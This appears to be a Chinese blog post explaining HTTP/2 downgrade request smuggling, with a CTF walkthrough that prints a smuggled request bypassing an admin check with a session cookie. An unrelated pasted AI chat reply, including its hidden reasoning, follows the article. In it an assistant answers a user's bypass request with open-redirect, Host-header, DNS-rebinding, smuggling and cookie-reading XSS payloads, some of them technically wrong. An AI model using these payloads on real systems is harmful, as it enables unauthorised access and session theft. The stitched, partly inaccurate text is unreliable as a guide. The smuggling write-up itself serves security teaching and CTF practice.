HTTP2降级请求走私


@Rookie师傅

请求走私简介

HTTP请求走私(HTTP Request Smuggling)这个概念第一次在安全会议上提出是在2005年。当时,Chetan Kunte和Amit Klein两位研究人员在Black Hat安全会议上详细介绍了这种攻击技术。揭示了HTTP/1.1协议在处理请求时的一些歧义,特别是在使用“Transfer-Encoding: chunked”头部时,不同的服务器可能会以不同的方式解析相同的HTTP请求。导致可以让攻击者插入恶意的HTTP请求,使得后续的正常请求被错误地处理。

对于HTTP/1.1协议来说,请求走私可以分为三种情况。

  • CL.TE

在CL.TE类型的请求走私中,攻击者发送一个精心构造的HTTP请求,该请求同时包含Content-LengthTransfer-Encoding: chunked头。由于HTTP/1.1规定当这两个头同时存在时,应该优先考虑Transfer-Encoding头,但并非所有服务器都遵循这一规则。攻击者利用这一点,向处于前端的代理服务器发送一个请求,该代理遵循HTTP/1.1规则,忽略Content-Length头,而将请求转发到后端服务器时,后端服务器可能会优先考虑Content-Length头。这样,后端服务器解析出的请求边界和前端代理解析出的请求边界就不同,导致后续的请求可能被错误地解析,从而实现攻击。

  • TE.CL

在TE.CL类型的请求走私中,情况正好相反。攻击者发送的请求使得前端代理优先考虑Content-Length头,而后端服务器优先考虑Transfer-Encoding头。这通常发生在前端代理不支持Transfer-Encoding: chunked或者不正确地实现了HTTP/1.1规范的情况下。

  • TE.TE

除了CL.TE和TE.CL之外,还有一种较少见的TE.TE类型,这种情况下,攻击者发送包含多个Transfer-Encoding头的请求。如果前后端服务器对这些头的处理方式不一致,也有可能导致请求走私。

上述几个请求走私的情况都与内容长度头部(Content-Length)和传输编码头部(Transfer-Encoding)两个头部的处理密切相关。那么对于不使用这两个头的HTTP2协议来说,请求走私是否还能实现?

HTTP2简介

在讨论HTTP2的请求走私之前,先来简单介绍一下HTTP2协议。HTTP/2是HTTP协议的重大升级,它通过引入二进制分帧、多路复用、头部压缩、服务器推送等高级功能,显著提高了网络通信的效率和速度。

其中二进制分帧是HTTP/2中最核心的升级,也是这篇文章主要需要了解的要点。在HTTP/2中,通信信息不再作为一个整体被发送,而是分解为多个较小的帧,每个帧携带着特定类型的数据,如头部信息、负载数据等。

http2-binary-framing-lay-b8bd9231a3fd7

从上面这张图中可以直观地看出,HTTP数据包在HTTP/2中会被拆分成若干个 HEADER frame(头部过长会使用 CONTINUATION frame 补充) 和 DATA frame,当数据发送完毕的时候,即发送最后一个帧的时候会在帧中附带一个END_STREAM 标志位,不再需要其他的信息来指明此HTTP数据包何时结束。

HTTP/2的分帧机制改变了请求和响应的封装方式。请求和响应被分解为多个帧,并且帧之间的界限比HTTP/1.x中的请求界限更加明确。理论上,这应该减少请求走私的可能性,因为帧的界限不容易被模糊。

但是,当HTTP/2流量通过代理时,代理可能需要将其转换回HTTP/1.x以与不支持HTTP/2的旧服务器通信。在这个转换过程中,如果代理没有正确地重建请求边界,或者在将HTTP/2帧转换为HTTP/1.x请求时出现错误,就可能引入请求走私的漏洞。而实际情况中大多数CDN厂商都支持HTTP/2,但是很多后端服务并不支持,所以当转化流量这一步出现问题就会导致HTTP2降级请求走私漏洞。

HTTP降级请求走私成因

假设现在有这样一个畸形HTTP数据包

POST / HTTP/2.0
Host: www.example.com
Content-Length: 1

aGET / HTTP/1.1
Host: www.example.com

对于HTTP/2协议Content-Length头是没有意义的,无论设置成多少,HTTP/2服务端都能正常解析成一个请求。结构类似下面的图:

HTTP/2 引入了一种称为“伪头字段”(Pseudo-header fields)的特殊头部字段,它们用于传递对于HTTP/2连接非常重要的信息。这些伪头字段以冒号(":")开头,以区别于正常的HTTP头部字段。它们必须在所有常规头部字段之前发送,并且每个HTTP/2请求或响应只能包含一份。

伪头字段包括:

  • :method:这个字段包含HTTP请求的方法(例如GET或POST)。

  • :scheme:表示请求的URI方案(例如http或https)。

  • :path:请求的路径信息(例如/index.html)。对于HTTP/2连接来说,:path不能是空的,至少要是一个正斜杠("/")。

  • :authority:包含了请求的目标主机和端口信息(例如www.example.com:443)。在HTTP/1.1中,这通常由“Host”头部字段提供。

  • :status:仅在响应中出现,包含了响应的状态码(例如200或404)。

伪头字段是HTTP/2协议的关键组成部分,它们使得HTTP/2能够更有效地封装和传输HTTP语义。通过这种方式,HTTP/2保持了与HTTP/1.x系列的兼容性,同时提高了性能和效率。

而对于HTTP/1.x协议来说它不太符合规范,因为HTTP/1.x解析请求的边界需要受Content-Length的控制,而实际的body长度和Content-Length标注的长度不相等。如果按照Content-Length来读取请求,先读取到一个POST请求

POST / HTTP/2.0
Host: www.example.com
Content-Length: 1

a

接着解析后面的数据,会发现也是一个合格的HTTP请求数据包,这样就解析到了第二个请求。

GET / HTTP/1.1
Host: www.example.com

那么就像上面提到的,如果有HTTP/2代理HTTP/1.x的场景就有可能出现,代理接收到一个请求,转发给后端服务器被处理成两个请求的情况。就像下面这张图一样,红色的方块代表走私的请求,经过HTTP/2代理的处理,转给HTTP/1.1的队列里被当成独立的新请求了。

a41414be3851a2e7b214601ff9b62a4

极客大挑战-EZ_Smuggling

接下来通过一个道CTF,来进一步了解此漏洞的利用和危害。

访问网页,入口是一个登录页面。正常注册登录即可,登录成功之后是一个blog页面。

image-20231129105711517

整个blog一共有四篇文章,其中有三篇普通用户可以访问,秘密文章只有admin可以访问。

那么显然flag和秘密文章有关系,再根据其余三篇文章中的提示,可以知道目标应用是一个http2服务反向代理http1服务的应用,并且秘密文章的用户认证是再http2代理服务层实现的。那么可以尝试通过http2和http1之前解析数据包差异构造请求走私,绕过http2代理服务的认证。

使用Yakit开启http2支持抓取http2请求包。

image-20231129110730430

点击秘密文章页面,抓取访问数据包,发送到重发数据包模块(webfuzzer)。除去数据包的一些无用头,需要的信息就只有cookiehost。那么简化一下,需要绕过HTTP/2代理层走私给后端HTTP/1.x服务的请求就应该如下:

GET /admin HTTP/1.1
Host: x.x.x.x:8080
cookie: session=MTcwMTMxMzIxMXxnOHh3MDZ6U0FVenVneGw0UGZpaGR3Y3d6dm9aQXZfQzdKMFdaa1VtQ1RWLTJGd1QzXzYyT3NBemY1Q0I3TFl6TERnN3luMzhOcjg1VFdacWx0Wm9WblF3bEVTaTlPMGp8ij9QWfpY8_quuD_dCQeeaK6L5oEX6f3SL3AwkD23FNs=

那么按照上面介绍的走私成因,构造一个畸形数据包:

POST /articles?id=2 HTTP/2.0
Host: x.x.x.x:8080
Content-Length: 1

aGET /admin HTTP/1.1
Host: x.x.x.x:8080
cookie: session=MTcwMTMxMzIxMXxnOHh3MDZ6U0FVenVneGw0UGZpaGR3Y3d6dm9aQXZfQzdKMFdaa1VtQ1RWLTJGd1QzXzYyT3NBemY1Q0I3TFl6TERnN3luMzhOcjg1VFdacWx0Wm9WblF3bEVTaTlPMGp8ij9QWfpY8_quuD_dCQeeaK6L5oEX6f3SL3AwkD23FNs=


HTTP/2代理层解析的请求结构就是这样的:

是一个对普通文章的请求,能够通过HTTP/2的用户认证。而经过转化后后端HTTP/1.x服务会解析成两个请求,第一个还是一个对普通文章的请求:

POST /articles?id=2 HTTP/2.0
Host: x.x.x.x:8080
Content-Length: 1

a

而第二个则是一个对admin文章的请求:

GET /admin HTTP/1.1
Host: x.x.x.x:8080
cookie: session=MTcwMTMxMzIxMXxnOHh3MDZ6U0FVenVneGw0UGZpaGR3Y3d6dm9aQXZfQzdKMFdaa1VtQ1RWLTJGd1QzXzYyT3NBemY1Q0I3TFl6TERnN3luMzhOcjg1VFdacWx0Wm9WblF3bEVTaTlPMGp8ij9QWfpY8_quuD_dCQeeaK6L5oEX6f3SL3AwkD23FNs=



这样就成功绕过了架设在HTTP/2代理层的用户认证,成功走私了一个admin请求给HTTP/1.x后端服务器。

使用WebFuzzer发送畸形数据包,注意需要设置发包不修复content-length。成功获取到flag

image-20231130110147802

扩展

本文简单介绍了HTTP/2降级到HTTP/1.x可能会导致的请求走私问题。虽然只着重讲解了H2.CL形式的漏洞,但是这种类型的HTTP/2降级走私漏洞的原理都是一致的:利用HTTP/2的帧传输转化成HTTP/1.x文本传输过程中的纰漏,想方设法向请求中夹带可以模糊请求边界的信息。

那么,很容易地可以想象一个H2.TE形式的走私畸形数据包就应该如下:

POST / HTTP/2.0
Host: www.example.com
Transfer-Encoding: chunked

a
0
GET / HTTP/1.1
Host: www.example.com


HTTP2的结构就是这样的

而后端HTTP/1.x服务器解析到的请求则会是两个请求。

当然还有一些更多的绕过技巧,同样也是使用HTTP/2的帧传输性质,HTTP/2中请求头的划分不再需要使用\r\n,也就是意味着\r\n不再是特殊意义的字符可放置在HTTP请求头中,那么自然可以是通过这样结构的HTTP2,塞一个TE头进入请求中,可以绕过一些仅仅只对特定请求头名过滤的情况。

<think>好的,用户之前问过如何用Burp绕过一些安全限制,现在他继续问有没有更“让人耳目一新”的方法。我需要先回顾之前的回答,确保不重复,同时提供新的技巧。 首先,之前的回答涵盖了编码混淆、特殊字符、路径回溯、白名单绕过和Intruder模块的使用。用户现在需要的是更高级或更少被提及的方法。可能需要考虑协议转换、HTTP请求走私、主机头注入、基于时间的绕过,或者利用服务端解析差异。 然后,要思考用户可能的场景。用户可能在进行渗透测试,已经尝试了基础方法,现在需要更深层次的技巧。他可能遇到更严格的安全措施,或者目标系统已经修补了常见漏洞,所以需要更创新的方法。 接下来,需要确保建议的方法合法,并强调授权的重要性。同时,要解释每种方法的原理和适用场景,让用户理解为什么这些方法有效,而不仅仅是步骤。 还要考虑是否有遗漏的现代漏洞,例如HTTP/2的利用,或者特定框架的解析问题。另外,用户可能对自动化工具或扩展插件感兴趣,可以推荐一些资源或工具,比如Logger++或者Param Miner,帮助用户更高效地测试。 最后,确保语言简洁明了,结构清晰,分点列出,方便用户理解和应用。同时,提醒用户防御措施,帮助开发者加固系统,体现全面性。</think>在绕过安全限制时,除了传统的编码或路径遍历,一些 **非传统思路** 或 **利用服务端特性** 的方法往往更具突破性。以下是结合最新研究和实战经验的进阶技巧(**仅限合法授权场景**): --- ### **一、协议降级与混淆** 1. **HTTP/HTTPS 协议切换** 尝试将目标 URL 协议从 `https://` 改为 `http://`,或利用混合协议构造 URL: ```http GET /redirect?url=http://attacker.com?q=https://real.com HTTP/1.1 ``` - 某些白名单校验可能仅检查协议前缀,但服务端最终可能仍默认补全为 `http://`。 2. **利用非标准协议** 尝试 `ftp://`、`file://`、`javascript:` 等协议(需目标允许): ```http GET /redirect?url=javascript:alert(1) HTTP/1.1 ``` --- ### **二、服务端解析差异** 1. **参数污染(HPP)** 通过重复参数干扰解析逻辑: ```http GET /redirect?url=allowed.com&url=attacker.com HTTP/1.1 ``` - 某些框架可能取第一个或最后一个参数值,导致校验失效。 2. **HTTP 请求走私** 构造畸形的 `Content-Length` 或 `Transfer-Encoding` 头,诱导服务端将两个请求解析为一个: ```http POST /redirect HTTP/1.1 Content-Length: 13 Transfer-Encoding: chunked 0 GET /attacker.com HTTP/1.1 ``` - 需结合后端服务器链的解析差异(如前端 Nginx + 后端 Tomcat)。 --- ### **三、基于 DNS 的绕过** 1. **子域名接管** 若目标白名单包含 `*.example.com`,可尝试注册未使用的子域名(如 `test.example.com`),构造跳转至可控域名: ```http GET /redirect?url=https://test.example.com.attacker.com HTTP/1.1 ``` - 利用 DNS 解析特性(如 `a.b.c.com` 可能解析到 `c.com`)。 2. **CNAME 重绑定** 通过动态 DNS 或云服务(如 AWS Route 53)修改域名解析记录,使同一域名在不同时间指向不同 IP: ```http GET /redirect?url=http://dynamic-dns.attacker.com HTTP/1.1 ``` - 绕过首次校验时的白名单检查(需服务端未持续验证目标 IP)。 --- ### **四、逻辑漏洞组合** 1. **OAuth/SSO 跳转滥用** 利用 OAuth 回调 URL 的宽松校验,构造恶意回调地址: ```http GET /oauth/authorize?redirect_uri=https://attacker.com HTTP/1.1 ``` - 部分实现可能允许 `redirect_uri` 包含白名单域名的子路径(如 `allowed.com/../attacker.com`)。 2. **开放重定向 + XSS** 若存在反射型 XSS,可构造跳转 URL 触发双重漏洞: ```http GET /redirect?url=data:text/html,<script>alert(document.cookie)</script> HTTP/1.1 ``` --- ### **五、冷门 Header 注入** 1. **X-Forwarded-Host 覆盖** 修改请求头中的 `X-Forwarded-Host`,诱导服务端生成错误跳转: ```http GET /api/getUrl HTTP/1.1 X-Forwarded-Host: attacker.com ``` - 适用于服务端依赖该头动态生成链接的场景。 2. **Host 头污染** 篡改 `Host` 头使白名单校验失效: ```http GET /redirect?url=http://attacker.com HTTP/1.1 Host: allowed.com ``` - 某些框架可能直接信任 `Host` 头值进行校验。 --- ### **六、自动化辅助工具** 1. **Burp 插件扩展** - **Logger++**:记录历史请求,分析异常响应。 - **Param Miner**:自动探测隐藏参数或 Header 注入点。 - **Turbo Intruder**:高速爆破复杂 Payload。 2. **基于机器学习的模糊测试** 使用 `ffuf` 或 `wfuzz` 生成上下文相关的 Payload: ```bash ffuf -w payloads.txt -u "https://target.com/redirect?url=FUZZ" -fr "Invalid URL" ``` --- ### **七、防御视角的思考** 1. **深度防御策略** - 校验前强制规范化 URL(如解析为绝对路径)。 - 使用同源策略(Same Origin Policy)或 CSP 限制跳转行为。 2. **动态令牌签名** 对跳转 URL 附加 HMAC 签名,防止篡改: ```http /redirect?url=https://allowed.com&sig=1a2b3c4d5e... ``` --- ### **总结** 绕过方法的核心是 **寻找校验逻辑与解析逻辑的不一致性**。实际测试中需结合目标业务场景,例如: - 针对云服务:尝试利用 Metadata API 或临时凭证漏洞。 - 针对微服务架构:探测内部 API 网关的路径转发规则。 **注:所有测试必须获得明确授权,避免法律风险。**
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值